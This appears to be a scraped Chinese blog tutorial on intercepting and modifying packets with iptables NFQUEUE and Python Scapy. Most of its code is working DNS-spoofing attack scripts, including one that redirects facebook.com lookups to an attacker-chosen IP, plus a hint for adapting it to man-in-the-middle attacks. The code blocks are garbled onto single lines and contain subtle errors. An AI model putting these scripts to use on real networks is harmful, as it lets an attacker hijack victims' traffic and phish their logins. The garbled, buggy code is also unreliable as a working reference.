Scapy + Nfqueue

来源:互联网 发布:网络验证c 64位 编辑:程序博客网 时间:2024/05/03 17:59

背景1  Nfqueue

Nfqueue是iptables和ip6tables的target,这个target可以将数据包交给用户空间。比如,下面的一个iptables规则

<span style="font-size:18px;">iptables -A INPUT -j NFQUEUE --queue-num 0</span>

那么在用户空间,可以使用libnetfilter_queue来连接到queue  0(默认)并且从内核获得该消息,然后,必须给出对这个数据包的裁决(Drop,Accept等等)

一般在iptables中的target有以下五种(ACCEPT,DROP,RETURN,QUEUE,other_chain,而NFQUEUE是QUEUE的扩展。相比于QUEUE,它可以由用户指定不同的queue number。

(The NFQUEUE target is used much the same way as the QUEUE target, and is basically an extension of it. The NFQUEUE target allows for sending packets for separate and specific queues. The queue is identified by a 16-bit id.

This target requires the nfnetlink_queue kernel support to run. For more information on what you can do with the NFQUEUE target, see the QUEUE target.)

背景2  scapy

之前写过一篇博客Scapy基础学习
监听数据:

<span style="font-size:18px;">from scapy.all import *def callback(pkt):    if pkt.haslayer(TCP):        print pkt.summary()        print pkt.show()        print pkt[TCP] sniff(filter=”port 80”, prn=callback, store=0, iface=’wlan0’)</span>

注入数据

<pre name="code" class="html"><span style="font-size:18px;">pkt=Ether()/IP(dst="new.ycombinator.com")/TCP()/"GET /index.html HTTP/1.0 \n\n"send(pkt)</span>
一个dns_spoof示例:

<span style="font-size:18px;">from scapy.all import *def dns_spoof(pkt):    redirect_to = '192.168.115.110'    if pkt.haslayer(DNSQR): # DNS question record        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))        send(spoofed_pkt)        print 'Sent:', spoofed_pkt.summary()sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)</span>

Scapy + nfqueue 数据包拦截,修改和转发

和C的libipq比起来,支持python的nfqueue会显得强大很多。

先看一个简单的例子:

import nfqueuefrom scapy.all import *import osos.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')def callback(payload):    data = payload.get_data()    pkt = IP(data)    payload.set_verdict(nfqueue.ACCEPT)def main():    q = nfqueue.queue()    q.open()    q.bind(socket.AF_NET)    q.set_callback(callback)    q.create_queue(0)    try:        q.try_run() # Main loop    except KeyboardInterrupt:        q.unbind(socket.AF_INET)        q.close()        os.system('iptables -F')        os.system('iptables -X')main()
再看如何修改:

import nfqueuefrom scapy.all import *import osos.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')def callback(payload):    data = payload.get_data()    pkt = IP(data)    if pkt.haslayer(DNSQR): # Beginning modifications        pkt[IP].dst = '192.168.115.118'        pkt[IP].len = len(str(pkt))        pkt[UDP].len = len(str(pkt[UDP]))        del pkt[IP].chksum        payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))def main():    q = nfqueue.queue()    q.open()    q.bind(socket.AF_INET)    q.set_callback(callback)    q.create_queue(0)    try:        q.try_run() # Main loop    except KeyboardInterrupt:        q.unbind(socket.AF_INET)        q.close()        os.system('iptables -F')        os.system('iptables -X')main()

注:这里需要关注payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)),这个是使用iptables和nfqueue来发送数据,也可以不使用set_verdict_modified()函数。在callbak里可以这样操作:

payload.set_verdict(NF_DROP) 。。。copy the packetmake modifications。。。send(modified_packet) 

上一个完整的dns-sproof示例

import nfqueuefrom scapy.all import *import osdomain = 'facebook.com'os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')def callback(payload):    data = payload.get_data()    pkt = IP(data)    if not pkt.haslayer(DNSQR):        payload.set_verdict(nfqueue.NF_ACCEPT)    else:        if domain in pkt[DNS].qd.qname:            spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))            payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))            print '[+] Sent spoofed packet for %s' % domaindef main():    q = nfqueue.queue()    q.open()    q.bind(socket.AF_INET)    q.set_callback(callback)    q.create_queue(0)    try:        q.try_run() # Main loop    except KeyboardInterrupt:        q.unbind(socket.AF_INET)        q.close()        os.system('iptables -F')        os.system('iptables -X')        sys.exit('losing...')main()

如果是中间人攻击的话,iptables规则需要修改成os.system('iptables -t nat PREROUTING -p udp --dport 53 -j NFQUEUE')才会起作用。



相关资料:

http://security.maruhn.com/netfilter-hacking-howto/

http://www.grep.it/RMD/05-Netfilter.pdf

http://security.maruhn.com/iptables-tutorial/x9983.html

http://bbs.chinaunix.net/thread-1939832-1-1.html

http://bbs.chinaunix.net/thread-1960139-1-1.html

http://dac01.sakura.ne.jp/projects/firewall/iptips.html

http://sourcecodebrowser.com/nfqueue-bindings/0.1/nfq__common_8c.html

http://ytliu.info/blog/2013/03/29/netfilterxue-xi-bi-ji-(er-)/

http://stackoverflow.com/questions/27244736/wrong-tcp-checksum-calculation-by-scapy


0 0
原创粉丝点击